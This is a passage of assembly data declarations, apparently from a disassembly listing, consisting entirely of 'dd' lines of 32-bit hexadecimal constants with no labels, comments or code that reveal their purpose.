		dd 0F9F68052h, 75BECC6Bh, 0B35AB370h, 34154D7Eh, 0B70948FAh
		dd 0CF8EB890h, 26C69870h, 4D3A9014h, 85E3F574h,	0BC8FE371h
		dd 0C066CBA2h, 0DC04AC9Ch, 37CCC07Ch, 8D9465ABh, 98008C93h
		dd 0C7CDFE2Fh, 4F043A0Ch, 0D99A2D77h, 6AAAA1FAh, 35B8692Ah
		dd 577BA89Eh, 2978C7A6h, 0A54623CAh, 0DE0925B1h, 0B05240B7h
		dd 0B172C160h, 2B224B96h, 2DF0E8FBh, 0E1CAA84Dh, 0BD305950h
		dd 2286C07Eh, 424D12F9h, 0F0BB6A8Ch, 68D38EF7h,	806DD84Eh
		dd 0D326FF56h, 0B60CBE2Fh, 6409E164h, 0A8216FC4h, 2135FD59h
		dd 0EC766FDEh, 48DC6C4Eh, 0AEBA6A08h, 0FC891E3Ch, 0D977C240h
		dd 0A9720653h, 8331FCFCh, 0A26292A9h, 86E89CEDh, 0E64A1643h
		dd 70DD835h, 7DB50A9Bh,	0DA957A6Ch, 6B6F949h, 5FF1EC1h
		dd 0CB59EBFBh, 3C77BD30h, 0AA7EA8C0h, 706BA4EEh, 7EE063FDh
		dd 88C203CCh, 0A1AF1782h, 90085695h, 0DB25896Eh, 0B61959C0h
		dd 98462723h, 29EF2F12h, 372E720Dh, 861E0378h, 0DA9BB519h
		dd 0EA8E2270h, 0D6FFCDC7h, 22E13829h, 8634F04Eh, 0A647DCA9h
		dd 0CF1F4B36h, 853B174Bh, 9E00A68Bh, 0C01E0F61h, 2F2F9B15h
		dd 0C524732Ah, 0CEE99D1Ah, 7AC75F02h, 0C287CF29h, 0ECF77F5h
		dd 0F7A2DDFh, 0BC42FA1Ah, 5D52CDD3h, 9C31CE02h,	99583DC4h
		dd 0A7116666h, 8CE406B6h, 0D3AAD407h, 3FA53C8Dh, 0FFE41D22h
		dd 2B154A03h, 292A8470h, 62F70BC8h, 92274642h, 88D42632h
		dd 6736426Eh, 8905E236h, 6E0BD7EBh, 0F8690A4Ch,	0FCBCEA9Ch
		dd 0FBC6B299h, 97FBF1Fh, 0C738DD2Eh, 0CA506495h, 73CD298Eh
		dd 72B85A49h, 0A87B4A7Fh, 314ED5F6h, 0EC8F0D68h, 6CF43CB0h
		dd 1D80EB4Dh, 6EC865A4h, 9EABFE96h, 594A770Ch, 48DE33AAh
		dd 9F5F8726h, 405E2310h, 833702E5h, 146BE850h, 0D63382C0h
		dd 13C333BEh, 0A629E934h, 0A8C1D41Eh, 747C7F35h, 0F5F56DCFh
		dd 0E40DC6F3h, 0E0E94FD7h, 5B061C9Ah, 730B4072h, 0E5DE2E7h
		dd 0B002D9ACh, 3D3B5FC0h, 0F9210C8h, 0D138E81Dh, 9AA4F986h
		dd 8BF85ECCh, 45E3A2FBh, 0E59C1600h, 1CCEC9C8h,	0C00D6797h
		dd 51489046h, 0BA265631h, 0DA0E5C69h, 0BC141D38h, 63B72CFFh
		dd 3654D796h, 0A26A648Ah, 63DE9A37h, 7762617h, 0BD3861EDh
		dd 3C11D2F4h, 0CA1838Ch, 0E8D0DC4Eh, 0C223ADA1h, 596F06A9h
		dd 0B4645509h, 15E4DAE8h, 3BAA4A49h, 896D5275h,	0DB431B73h
		dd 0F6601E4Ah, 6C0D6B94h, 7601D1EAh, 1DF4B3ECh,	9C040439h
		dd 0D3142269h, 0EDBC19C7h, 0D6A30B9h, 2B9161C0h, 45CB9B2Fh
		dd 34ED145Bh, 20651853h, 0C42737DFh, 0E5466CAAh, 141742CCh
		dd 3C11697Bh, 15478116h, 0EDCAA991h, 4A098A10h,	0B5FB1FD7h
		dd 0B6D79AF2h, 9392767Dh, 9319F59h, 0EFCCC1A9h,	622D925Ah
		dd 0DD02DB7Dh, 7E6AC414h, 5F1C1238h, 0B287BA35h, 9E308F8Bh
		dd 96EAC8C9h, 0EAC0BABh, 29EF8216h, 5A22FBD2h, 0D4260B40h
		dd 68B67077h, 5F2D0283h, 3F263B03h, 868AF41Ch, 0C79E67DCh
		dd 1982EDCh, 3E84DDEDh,	64A9CD5Fh, 0F6AC3B92h, 0AA1C8004h
		dd 7B32CF9Eh, 92DEDC5Bh, 99770DE4h, 9789A36Fh, 7E2ED3FFh
		dd 23C88C12h, 0EB1C0BB4h
		dd 8705AE40h, 9577DFD3h, 5F611D83h, 2F87FD7Ah, 580E9E52h
		dd 783D0C7Fh, 401545CFh, 3CB57A4Ch, 0F392252Dh,	72B62B2Dh
		dd 2B2363CFh, 643B4B17h, 62AE8DD9h, 7DD9A810h, 0E801CE8Ah
		dd 6F3A697Bh, 2C044B20h, 2C6CA74Dh, 39D375E2h, 0E989FF64h
		dd 0FB0522Fh, 0E6155323h, 152A0019h, 3D2B32AEh,	87E085Ah
		dd 0AD18BABEh, 28E70DAFh, 0C9BAD177h, 54239552h, 62A7CE77h
		dd 0E60519C2h, 0E77F248Ah, 0FCB710D2h, 0C8C1728Ch, 306443A4h
		dd 5EC894BCh, 83BCB880h, 90489E3Ah, 68F6F243h, 7533FB0Eh
		dd 1E51844Dh, 0C4200343h, 0F6A77FE2h, 400FE952h, 4B0BFC49h
		dd 0CEAF7C91h, 1295C070h, 2134A42Dh, 957D3965h,	81343AD6h
		dd 0CC495330h, 0B319BFF5h, 5CB31FABh, 49388E9Dh, 0EB61BEFAh
		dd 17FCA781h, 29472DFAh, 44228EBCh, 5ECB3BF4h, 0DC4DACC8h
		dd 0E2646FDAh, 0FBD357Eh, 610F7BA1h, 597760CBh,	37700D6h
		dd 5FB6057Ch, 0B6985619h, 85BE04B4h, 5E49C3B2h,	0D979481h
		dd 0F6E0A9DAh, 75DF668Dh, 0E0776A3Ah, 6E168E28h, 0F38BAFA2h
		dd 6BA75E34h, 84631FBh,	0CDB3CE7Bh, 7CD37ACFh, 7F56AF93h
		dd 863438E9h, 474A554Ch, 802A092Dh, 3B45462Ch, 3891949Fh
		dd 965FA27Fh, 0A54B5399h, 1DC6942Eh, 0EF100B76h, 0A4828FAAh
		dd 0EBFCAA94h, 201FAB23h, 38D2004Eh, 0B8722E08h, 0A5A5FC4Ch
		dd 0CDB5C65Fh, 426BCC6Ch, 7A0E74F4h, 38391ED4h,	3715031Dh
		dd 0C99EE2D5h, 9C7B75ABh, 0FCD6B17Dh, 22EE479Eh, 968CB90Fh
		dd 5FB06AA7h, 83F52738h, 0DA4908D0h, 98576D44h,	7E7D22F0h
		dd 0AC82BA9Fh, 261428C1h, 0C4BFC50Ch, 3D983723h, 3853AFC6h
		dd 3902FB9Bh, 0BB7AB17Ch, 46CFFE0Ch, 8D93DA59h,	81113C98h
		dd 0DDD2EE7Ah, 0AD3DBF65h, 7B52B6B0h, 3A4FAE91h, 8579C463h
		dd 20C76885h, 20153E7Bh, 0D0139D79h, 7A27A5D9h,	157A750Ch
		dd 0E958E426h, 0DA9E5BD0h, 9885649Ch, 0C324347h, 4F06A6A4h
		dd 7B97AFB7h, 0C28335C5h, 25E1C372h, 96FCBD84h,	36240DBh
		dd 2AC16A2Fh, 708017A3h, 293C6761h, 8D4DD6FAh, 0A4C24685h
		dd 6D50911Ch, 52F0ED0Ah, 27C89BEDh, 0B98232Ch, 77202A26h
		dd 45B0071Bh, 61F32F20h, 0F642C143h, 248A514Ah,	1757FBBEh
		dd 821A46E3h, 0D8CEEA8Ah, 0FD2B068Bh, 4C8BC94Eh, 0E4BDAC95h
		dd 0B846A1A5h, 0D6AB33EEh, 0B637D1D6h, 63C5C4F5h, 94FD5E61h
		dd 17480498h, 71D5A7Bh,	0A726EB4Bh, 49AC8FBAh, 6010F3A1h
		dd 0A6206C80h, 0B6A06F8Bh, 64CC5B7Ah, 57298C13h, 5FE0AD6h
		dd 42A3871Bh, 435617A8h, 5C6AD8CAh, 49B1A71Dh, 21B0327Ah
		dd 88A9FF23h, 0BC32103h, 1DEDAAF4h, 4F448318h, 0DC56FB86h
		dd 0A425A6B2h, 1DC4E597h, 0F37EB61h, 2D2A0D9h, 793D5F0h
		dd 0A73964D6h, 0FA2EC0D3h, 0A59E918Ah, 0ED0B44A7h, 1289CC53h
		dd 8B88D981h, 1DE69B77h, 0D9ECD1ABh, 0DD658751h, 6024A18h
		dd 5963DA55h, 1523E67Bh, 0A389BB84h, 30DB453Ch,	1970109Bh
		dd 1EBDA3A0h, 0D453581Eh, 55FD7C33h, 5361CF24h,	727603A9h
		dd 126F8FF2h, 3E814884h, 0A24D42B3h, 65D08BC3h,	9FC3FFE2h
		dd 371B6ADDh, 3E18ECFCh, 550150E0h, 67E9EEF6h, 0D94FB59Fh
		dd 5D57DC03h, 911565B6h, 7019FA79h, 1377E9B5h, 0ED0A507Eh
		dd 3E72AF08h, 0CA06493Ch, 198F871Bh, 0B56FAB32h, 81F720B6h
		dd 0C8927381h, 3B32758Ah, 57558508h, 94BA10C8h,	7CC851D2h
		dd 0EACD7D8Dh, 15AE6C4Dh, 0CD1F9D5h, 4A348DB9h,	0D8C7A818h
		dd 0AEB36654h, 0B4488833h, 0FA6E36A9h, 47106A58h, 0E5C9949Ah
		dd 4047E878h, 445E9387h, 76919A80h, 39466990h, 0A8B54C31h
		dd 0F09543ECh, 95460219h, 0E6BFFD6Bh, 0EABCE2F2h, 70A5EDA0h
		dd 0E94EFE45h, 804450C9h, 282F6A9Bh, 8E71A573h,	356BAAA4h
		dd 0F69F4608h, 75B101A0h, 79DEA84Eh, 748C9113h,	0F54F19B7h
		dd 4573318Ch, 462949B4h, 61E55223h, 0E341E83Ch,	0D4FC465h
		dd 0F5A41613h, 0BCA9E432h, 0F23DA321h, 9FB852BEh, 69E8EA76h
		dd 0DBD59A6Fh, 5D62618Ah, 58C0104Fh, 9C9F10B5h,	1642349Dh
		dd 57D359BCh, 82468183h, 0ACB3477h, 1E6D119Bh, 3161B992h
		dd 0ACE461Dh, 6C4C363Ah, 0B2655747h, 0E0D71C23h, 969FE8D4h
		dd 37811FD8h, 51FA98ABh, 0C469FA2Ah, 0E2BF63E2h, 0E1D07507h
		dd 0E0B9AA64h, 0DEDA7A88h, 3AB5061Ch, 3EB47C10h, 0CDDD7A8Ah
		dd 82C9AEE5h, 60B8538h,	75A5E23h, 6CAEC7A9h, 38DACFE6h
		dd 15892836h, 3EBE5535h, 3E2B421h, 9A0F9706h, 42A50D39h
		dd 54A9F7B3h, 0ECFC729Fh, 8F143F32h, 93966C71h,	8E2825F6h
		dd 0E84C8457h, 7E55E4EDh, 0C14DAEA7h, 8478D4Ah,	6E405E8Dh
		dd 368D8756h, 69DA74Eh,	19789732h, 70632BD5h, 0F9B8286h
		dd 2C812596h, 0D78B8A9Ah, 8E9EFD3Fh, 17815963h,	2DC87CBAh
		dd 0E1BCFB9Fh, 0C8776F2Bh, 1C07429Ah, 690BF02Ah, 1C5D85CEh
		dd 1D288603h, 86F8F97Dh, 2D524C69h, 6DF07EC6h, 9C5D1747h
		dd 46A4D42Eh, 1A22B7A8h, 0BA700381h, 0E8D63D7h,	0E4EFA79Dh
		dd 53F106DFh, 0E339798Eh, 3B760FACh, 4C6E5F05h,	67782B36h
		dd 9B6FD1A4h, 0C8943B4Ch, 5E9C9B78h, 98E14F2h, 0BDE93ECDh
		dd 0D1420AE3h, 6A163774h, 0E12995B7h, 1457BD5Eh, 0DBFA3E1Fh
		dd 287523D1h, 0FD1C7AE4h, 0DDB3A15Dh, 1D5ABFAFh, 0B28419h
		dd 19E5694Fh, 18540D4Ah, 7A4FE430h, 7CEBA43Ah, 5C3F1927h
		dd 0E1AD8F9Ch, 5105FCDCh, 19A4F68Bh, 0A07DFC23h, 26A937A2h
		dd 918C15A4h, 594A3CA1h, 8D139C58h, 0CB041A81h,	0F378BECBh
		dd 623D8286h, 0A686F765h, 5A773F4Bh, 4350843h, 0AAA81B9Dh
		dd 3ED639DCh, 94393861h, 4CFC172Eh, 9D2ADE16h, 928B57A1h
		dd 0D3240A0Bh, 716A7972h, 9FA7CFE7h, 7FF8B5C2h,	5E6A304Fh
		dd 0CB3B8E92h, 76A368F2h, 0C4592F54h, 0FDFA0A34h, 53D9C150h
		dd 50740C1Bh, 0C4601BFAh, 6E004E51h, 7F2F9170h,	0FC0362C5h
		dd 0B387FD50h, 562F38EAh, 0FDD849ECh, 400223A1h, 6EC2B794h
		dd 0D7D7EAB9h, 0AC6988FBh, 6B103620h, 0DAC96CBCh, 0A807890Dh
		dd 253A1DC0h, 0D10D7EB5h, 0D2251279h, 83B036A9h, 0C8E913h
		dd 341506E9h, 6953F742h, 0AB092537h, 24E38E68h,	5E9160C8h
		dd 9F08DDC0h, 465B7EB0h, 0C936EA8h, 0F966501Bh,	0B76CC5FFh
		dd 61191CF3h, 8881269Ch, 56EAE492h, 67B4DA9Eh, 35B020A6h
		dd 0ECAFF166h, 95DD848Eh, 93BE21E9h, 75ABA71Eh,	38B5AD76h
		dd 0E76E710Eh, 83205A5Fh, 6BD027h, 0EA218AD0h, 0DEFCA8BCh
		dd 3F476F6h, 2A3E51Eh, 16CB8573h, 0BE631896h, 167FE512h
		dd 3A179DD0h, 34919827h, 0A270405Bh, 8ECBDEDAh,	85C69F20h
		dd 54DA50AAh, 0A9F78A6Bh, 0C41A7C46h, 1754D135h, 3AEAD48Eh
		dd 66666A30h, 9FE2A95Ch, 4E555D49h, 6593E64Eh, 173E07C7h
		dd 0B45554BAh, 0A282A53Dh, 0A4B03C03h, 5E96242Bh, 0E2DD3374h
		dd 6C47B9Bh, 0C8C6A62Bh, 0FB0A2BD8h, 0C5FAAD4Fh, 0F30F0D05h
		dd 236784A4h, 0EE6989AFh, 23524Fh, 3A0EC5B6h, 5071C62Dh
		dd 65BAC573h, 7E7EA5C2h, 0A597F297h, 0A0A91242h, 4A9562BFh
		dd 0B31EA93h, 6C176E83h, 0DCFDE0Bh, 0D1E270Ah, 0F2BE0D98h
		dd 615913BCh, 6FAFE17Ah, 0DAC34D45h, 1F07DD21h,	0E4436CE0h
		dd 55D1E385h, 2CEF7D0Ch, 0C690C176h, 921767FBh,	31473AAAh
		dd 11EC2B98h, 0B8A9650Dh, 9B6FC2C8h, 1BA66EE6h,	0E068DE05h
		dd 0CC9D891Eh, 8F9705D8h, 9D507E3Ah, 0A51867BDh, 99447064h
		dd 32AFBD5Bh, 0A45A8A94h
		dd 4CFACE21h, 175F51F0h, 6862247Ah, 4BDD7155h, 48A82649h
		dd 83565C05h, 2BE625BDh, 547F59DEh, 0CE31721Eh,	0CBCB53E2h
		dd 0E0145454h, 7014A7CAh, 0B9D67EDh, 540562DDh,	4C3D90EFh
		dd 76040742h, 8C348552h, 0F3EF05F3h, 0BC59670Ch, 55A9FC0h
		dd 0C1CC651Fh, 6A365348h, 4A5FE331h, 68B2548Bh,	0ECE097BEh
		dd 0C2D08BA3h, 6BC0E08Eh, 0D62C98C0h, 8CCB05E3h, 32496F0Ch
		dd 6706239h, 5BAD9F1Bh,	0FA2754F2h, 0E17E312Ah,	0B623E11Ch
		dd 2E5F5118h, 5DF578C1h, 0A19236F0h, 0F876AD39h, 1626685Bh
		dd 457C2544h, 0E123F633h, 31B83161h, 20F1AEA3h,	0DEA9AA7Fh
		dd 0A9822AC5h, 27DAB9E7h, 66D12E4Fh, 274EEB2Fh,	0D3F088D6h
		dd 0A790A6E0h, 9132FB6Eh, 7AAD8ED6h, 0D4B07D1Dh, 7B62DEECh
		dd 0DDEF19Dh, 4CDDC268h, 9CF6D8CEh, 34F4A7D7h, 4B901805h
		dd 8CE4D694h, 0EF4C4EE9h, 8B0A380Ch, 4986C18h, 0D3C58736h
		dd 2F4BEB40h, 98FD15A0h, 0C8BB1C5h, 0AB8C5BB3h,	24F22BA3h
		dd 6BB16F31h, 0D1857530h, 0BCA5B7D2h, 3FF223BEh, 0E71A8F02h
		dd 0FB3169Ch, 0C601A163h, 479660D5h, 2E7A591Fh,	0C82475E8h
		dd 15CD29CEh, 9C29C216h, 0D31E2B18h, 923C41A8h,	0DC7D0A48h
		dd 0E8293048h, 0ED2D0199h, 470B177Dh, 0F562DC70h, 2647EB06h
		dd 2D5B82CAh, 0CDB8C215h, 0C4B49B8Fh, 1BF0508h,	0C25A3228h
		dd 0F7DF345Dh, 0C5081DEEh, 361E1B5Dh, 0CCA21E1h, 30EBFC59h
		dd 60A8C431h, 1FF2E245h, 8E3F134h, 3FB3D41Ah, 7B1AEDC0h
		dd 9E40E9F3h, 451BF294h, 0B241E5B2h, 510ECF0Bh,	51313734h
		dd 0D59CD425h, 306C7445h, 0D1623748h, 0A74025D3h, 0FF55CF43h
		dd 7AB236FFh, 28781E5h,	747BDB75h, 0D667F11Ch, 5BF259E2h
		dd 54405F2Ah, 0B6CAB30Bh, 0ED58FA6Ah, 3EC1D56Fh, 0DF70A9B8h
		dd 0B27C431Fh, 6E8B0C75h, 663E0BD3h, 0DFFB2CE1h, 3EBEDF2Bh
		dd 0D80B2C8Ah, 2B8D5863h, 32FDD8BBh, 26437F4Fh,	70AC8DC2h
		dd 93FC2804h, 9F0C9471h, 0A555ED3Fh, 2BB478DCh,	6126DB32h
		dd 0DC73C1A2h, 7D39BACh, 0EFBC8C8Ah, 0F48E474Eh, 6EC357ACh
		dd 309AB2C9h, 56F67C37h, 1579E296h, 317E65A2h, 8D3ABFF4h
		dd 0C5A35054h, 5610E6DBh, 0CAEC89D8h, 5A61ABC4h, 5B59C990h
		dd 7408DA58h, 0A2ECA43Bh, 215B2E43h, 0A377C0EBh, 6C90476h
		dd 7E4C20Eh, 3DBA0D71h,	62DE68A6h, 67975495h, 60F2736Fh
		dd 606ECA60h, 59842F4Dh, 18B9A590h, 6C7869F6h, 0C8D2B93h
		dd 0F99DC92Fh, 4380C5Eh, 0E250AE98h, 1B31932h, 0A7E13713h
		dd 8429D818h, 5418AC8Dh, 0DF257EF7h, 5B7EB541h,	0A51D1355h
		dd 2C7B2A0Fh, 6F09C488h, 0C283064Ch, 90E9FB15h,	5ED14377h
		dd 6C0164Fh, 6CB0D3B3h,	2800870h, 0C054A17h, 83C461D2h
		dd 0D847EB55h, 607D62C6h, 0EAAFD3FDh, 0DD71651Eh, 0D7410EDEh
		dd 53C466C0h, 7F88ECD5h, 0CFEB0835h, 18081E46h,	0CCADEA34h
		dd 0CAD776D9h, 0E32B68C1h, 565522CFh, 0C0F0827Ch, 76E3E7ECh
		dd 0A75A24Eh, 0EAC23685h, 0AB9AB388h, 0E88510C7h, 77A20B27h
		dd 58A70D4Eh, 0B7B1167Ah, 8028B48Ah, 70FEFBB9h,	4AF75096h
		dd 76682A6h, 0BC0ABE6Dh, 9A004ABFh, 0FF477B7Fh,	134CA9BAh
		dd 7ECE8CADh, 0F84A0547h, 4D71FBD6h, 0BDD48B4Ah, 0E2A8D4ECh
		dd 65A81997h, 0C394CF63h, 0CA5CD587h, 1FD5DF15h, 2EF5DB1Bh
		dd 665F8AA3h, 9699C441h, 1AD7B4C0h, 0E1B15FA3h,	9726BE56h
		dd 0E876A8CDh, 0DBEE4DD4h, 36D8A8C2h, 56320533h, 60F9D52Eh
		dd 4B7DBBA0h, 287AEEFh,	6AD6956Eh, 78464CFCh, 0DC356415h
		dd 0CBB38102h, 0E77565A2h, 7408B4ACh, 0E35B9EACh, 0AD16C742h
		dd 0FE6BAFD6h, 57AF5913h, 14A861CBh, 7DAC24ECh,	0D6D8065Eh
		dd 56AD57A7h, 0B7DF25F1h, 0C96DBE5Bh, 3D5B40C1h, 0E3290F0Dh
		dd 9B52B061h, 8A678A78h, 94107653h, 92069817h, 3E9D3CDFh
		dd 0AED3118h, 0ABD79B3h, 7AA50A9Fh, 4D43147Eh, 4698B58Bh
		dd 1B311046h, 7C5CE060h, 56C27A96h, 73FC8EA0h, 0C0EFF183h
		dd 841332A1h, 0AA17CFFAh, 98564F45h, 8D8010F2h,	3D511436h
		dd 446ABE4Ch, 5ED5D67Dh, 974162D0h, 3736984Eh, 0F4BDA712h
		dd 0CD119C97h, 32CA3DDDh, 0B76541D5h, 0C1A19B1Dh, 1AC4FA0Ah
		dd 40699883h, 0BB0D4A3Dh, 22159A80h, 8A15F2A2h,	36F51226h
		dd 55F4A9C1h, 2E0690CDh, 3508D15Bh, 7A60C559h, 6EB46929h
		dd 5EF608C7h, 7F0FBBD0h, 0E0F79554h, 0BF037EF4h, 30E5A266h
		dd 0E215DB94h, 71FA727Fh, 75817318h, 0A034EDA4h, 0FDEC389Dh
		dd 7CFBC5A4h, 398739FEh, 0DF6F3D3h, 7FF4412Ah, 598D8202h
		dd 0A6B8498Ah, 5CFD1889h, 290B64ADh, 4170C604h,	2E4516ABh
		dd 416ABAF1h, 15700B85h, 256306ECh, 9A8E8765h, 0AE317119h
		dd 7EE65395h, 85219250h, 0C2B3E9ADh, 6A6C73F9h,	0F0BF6877h
		dd 0C353BC08h, 0A366BE4Bh, 0EE31175Dh, 0AA934137h, 9EEDADB2h
		dd 0AFF75178h, 6D848FECh, 9E192B92h, 45C27A1Eh,	0D27EAB48h
		dd 657A0A07h, 1478519Bh, 0E1A08FC6h, 7604B115h,	837DDCE3h
		dd 0E9839CEAh, 1E296A00h, 0AFDBAEFDh, 0B66C6C9Fh, 96B86756h
		dd 46CEFD39h, 0BF22DA76h, 4D31520Fh, 16334F0h, 7696FBFDh
		dd 84AAADA3h, 974C11F5h, 91DFDBBh, 6F358E07h, 0FFA19745h
		dd 0F2521A9Dh, 6878E948h, 0D9B7E457h, 1B825A25h, 7F1D6D31h
		dd 8B9E0033h, 0B37DAC2Ah, 2D1032D8h, 0FE89C77h,	0F9EAD70Ch
		dd 3D43C9FBh, 7E6564h, 2A4E4011h, 2088DED1h, 2C7EEAC2h
		dd 2D6FC086h, 0B708B2BBh, 0D7F76158h, 0A9BF6C3h, 0D506F289h
		dd 218E3856h, 0F9608C60h, 8D1FF22h, 970031FCh, 970D5D23h
		dd 0F860E96Fh, 653AE23Ah, 0D42EA185h, 0DFA143FFh, 0AC3DAC4Eh
		dd 0D54D7A1Ch, 6150BA69h, 8C72AF38h, 0BC959EE9h, 77E2CE55h
		dd 5370FB4Bh, 0D05A0D97h, 5D6F5DD8h, 17AF17Ah, 0DE9C9B7h
		dd 0E5B06978h, 83EF3A44h, 4E32A08Bh, 0E974FCF8h, 909C1D25h
		dd 0C83A40D2h, 7AB57634h, 0A8B49478h, 5774752Dh, 0F4318852h
		dd 0E529571Eh, 3ABA4777h, 4E9680C8h, 0C0C64278h, 0E28B10C2h
		dd 3327ACF0h, 7EF9F1FCh, 7A6C8577h, 2CA19ED2h, 893F4CA1h
		dd 55BEFD46h, 1450EB0Eh, 5CD25AA1h, 42A625CFh, 2398B3A9h
		dd 0BAA1C321h, 0EBF6E1E8h, 0CD739669h, 3FF3859h, 90803FF3h
		dd 409E3529h, 0AACC57ECh, 801262FCh, 0D855622Fh, 492DB096h
		dd 0D444163Dh, 751AA314h, 0DA038B4Eh, 519E0A74h, 5BFD5FDEh
		dd 84A8CD0Bh, 8D9A4E1Bh, 8E40BF75h, 0DCFA73D8h,	1657E239h
		dd 571825A6h, 0C6FAF2B2h, 6919DC1h, 11F35AA4h, 6EBDFE42h
		dd 196F9C32h, 0F44FD32Dh, 0E8A0FBADh, 61F49369h, 0D717E6E5h
		dd 675E2FEAh, 6D7CD410h, 117EE1E8h, 0AD1B2F90h,	1FB64526h
		dd 0EE500DE6h, 0EAFBD502h, 2C921308h, 7693DE11h, 0A16B60E4h
		dd 3EF38D5Ch, 5DC773EDh, 0D2A7E3FEh, 39A44476h,	48B6393Ah
		dd 0EE865A10h, 402AD2B4h, 5667D98h, 0D23C6BAh, 0FB887F43h
		dd 0BD84C0C4h, 0DF8B425Ch, 3D971D74h, 0F84EE01h, 47DD93E7h
		dd 5DCCE503h, 1E0E94B1h, 329E685h, 0AC1CFD3Eh, 0F26DB76Ah
		dd 49DAC5AFh, 25DFB880h, 0CEC83AFBh, 3AB929D2h,	8198BFD3h
		dd 0E647A934h, 0E0BBB3D8h, 0DD29CA95h, 4485EE0Eh, 4C776EDEh
		dd 116C9418h, 0A084F9F5h, 4705E81Dh, 34FBFD9Eh,	0D34BF726h
		dd 0DB746D33h, 466F66FAh, 0C4B622F1h, 0FE676A31h, 3D8C3C22h
		dd 0F0958AAh, 6433F3F9h, 0A951DC5Ch, 31C318D4h,	240477h
		dd 0C66BE629h, 9367A305h
		dd 0A02989FCh, 0F0D2BFCBh, 21E17365h, 0B64D5825h, 4D6C0BE8h
		dd 43EEC5C2h, 455C9882h, 99B06FD4h, 0F86A4D9Fh,	95FD6BEBh
		dd 0D020BD94h, 0ED72BDB2h, 0E958910Ah, 0F2EF94E5h, 43945903h
		dd 9852941Fh, 0DE1A8C09h, 0DC63C2Dh, 0C20991DCh, 0B901B1C9h
		dd 0F43800E9h, 0F721A9C8h, 2BED8DAh, 6D3DD728h,	0D68E6AB9h
		dd 3CB21890h, 0E0595148h, 986249Ch, 1DD71BE8h, 0D2A3C56h
		dd 0A0431B26h, 41E9E44h, 4DBE0651h, 770686D1h, 2E3E380Eh
		dd 313EFF45h, 0F73C53Ch, 47492255h, 3D9CA4F8h, 20BEDC79h
		dd 0B5E6A9A0h, 0B4093C4Eh, 2BA42A94h, 96C32B53h, 6549095Fh
		dd 43211DEAh, 96C25B6Ah, 6BE93898h, 3ABB1ECDh, 7B9C847Ch
		dd 0E6125FE1h, 4BC8D7F4h, 56DAEB5Dh, 24D7C8E9h,	0A4D7E158h
		dd 8E670ED5h, 0E1BDD884h, 29ED1192h, 0A04B377Fh, 0BBF3D1B4h
		dd 0D956815Fh, 5A6A0953h, 7240488Dh, 55666E02h,	0E146F809h
		dd 71FE9084h, 3DA28D5Fh, 0F5A75039h, 0F908C413h, 188A0244h
		dd 0A67FFDD3h, 5126509Ch, 2FDDB66Dh, 9C546646h,	6DCA7A57h
		dd 5EE8F3AEh, 12E78D49h, 31F63152h, 0F21B9487h,	0D6ECFCEDh
		dd 677C90FCh, 6457DB45h, 0F6F6410Ch, 64051867h,	0BEBC9A7Eh
		dd 0D53F4664h, 0C4F44C70h, 32E8E05Ch, 0C62B30B3h, 0A504859Dh
		dd 0B1C27531h, 0FA2A38h, 0BC9F27A9h, 0C6526BF8h, 0AF2CC681h
		dd 9A66A9C9h, 69328979h, 814606CAh, 276B53A9h, 74635689h
		dd 28F407CAh, 1E838EA5h, 0DF7AF570h, 0E6EFE999h, 50D6E6B1h
		dd 7B1E581Ah, 0ACFDA8A7h, 1C3E7C0Ch, 73132E19h,	3765B33Fh
		dd 9A8EA6B1h, 0D895A06Bh, 33E6499Ah, 0D8E73D47h, 9D1C0F61h
		dd 0E6784923h, 4488B163h, 2C05ADB6h, 0AB43B763h, 0C1C311EFh
		dd 5A76F6Ah, 86A85B7h, 8133101Bh, 0C2A29EAEh, 18231602h
		dd 0DE8414F6h, 2D458A44h, 2630D7F2h, 36A16F8Bh,	549D8053h
		dd 0F48A48A2h, 6A116A0Fh, 0D01A310Dh, 1209029Bh, 8C74480h
		dd 7BF3405h, 337692AAh,	557F35F5h, 6AAB49F8h, 0D0916527h
		dd 2F9C3F33h, 0C15336D9h, 19E6CC06h, 97E9537Fh,	0A02D5D82h
		dd 4B7F94BDh, 0B22375F0h, 3BE3F3BEh, 36D5B493h,	0BDE62D85h
		dd 0A90717E9h, 0B9E232Eh, 7DD6E88Ch, 305F3BA7h,	0FE239199h
		dd 0C88CD332h, 9CEF90h,	5ABDD91Eh, 1C29551Dh, 353268D6h
		dd 0C2943450h, 422BE416h, 76CD046h, 0BF447271h,	1A3DACD9h
		dd 234743BDh, 58A162A2h, 0AB2487E4h, 24F97B74h,	18D38FA2h
		dd 0C5A64F01h, 46CF3806h, 20F4FA5Ch, 0B2DE26E8h, 13974097h
		dd 0F79400F4h, 84F4D971h, 1A3CC627h, 0AAA376F1h, 84D1DA53h
		dd 3BAC20A8h, 0C75B2953h, 0A5C9232Bh, 3E5D597Ah, 0A922477Fh
		dd 0CE55D3B2h, 1C5F9FEEh, 0AF7DA28Ah, 48D579B9h, 0F7D3A98Fh
		dd 9AB5524Dh, 92EC1B4Bh, 8AE8DF0Ah, 0D1108AB7h,	0C368EA7h
		dd 0E960FD42h, 53EFA0FCh, 279D0291h, 962F9053h,	0BA1EC8F9h
		dd 0FED671FEh, 80798E45h, 9D2A6188h, 8AE4BC14h,	0CE48F08Dh
		dd 0AECD2ED0h, 69EA57A4h, 8DEE3F46h, 46D0F6B7h,	45724C44h
		dd 0EE60E519h, 45223556h, 0DE5FCA76h, 666F679Dh, 550D8B15h
		dd 0C7897100h, 9C01F854h, 0F232CE13h, 0CF6005F3h, 7D99D0FAh
		dd 0B2427E64h, 6C0F9D3Ch, 0E2724EAEh, 7B90128Ch, 0B534AEADh
		dd 0E309831Fh, 0AE433CBCh, 7C1654E7h, 9C52CDC0h, 0BBA1853Fh
		dd 0F9F002EBh, 2A30B4BEh, 0BE047AB4h, 54D2267Fh, 0F5D9C20Fh
		dd 0F66AAE22h, 15ABEDB1h, 0B40222EFh, 4490A50Eh, 0FFD04041h
		dd 1BC1B768h, 5DC14CE5h, 38D10C72h, 0D60E487h, 0FE6A46A0h
		dd 42EC9C1h, 12E15573h,	9A2B9677h, 9FCFE270h, 3E1C155Dh
		dd 1D6580E7h, 1578D6E4h, 0DC0DD4E2h, 9C73BD0h, 0E2F68821h
		dd 0AF296E20h, 5DAFC327h, 570535E2h, 0EEBC0D79h, 0B39C1A49h
		dd 0FD4DE84Bh, 0CC261ED2h, 14E29F43h, 0C0E29AF3h, 0DA0D839Fh
		dd 0E5D1ABE1h, 79AF7967h, 0A936C0CCh, 75BBAD30h, 0C6E87F00h
		dd 0DB304355h, 0D7FCACC7h, 4510FBD1h, 0C3CBF380h, 543FF4E3h
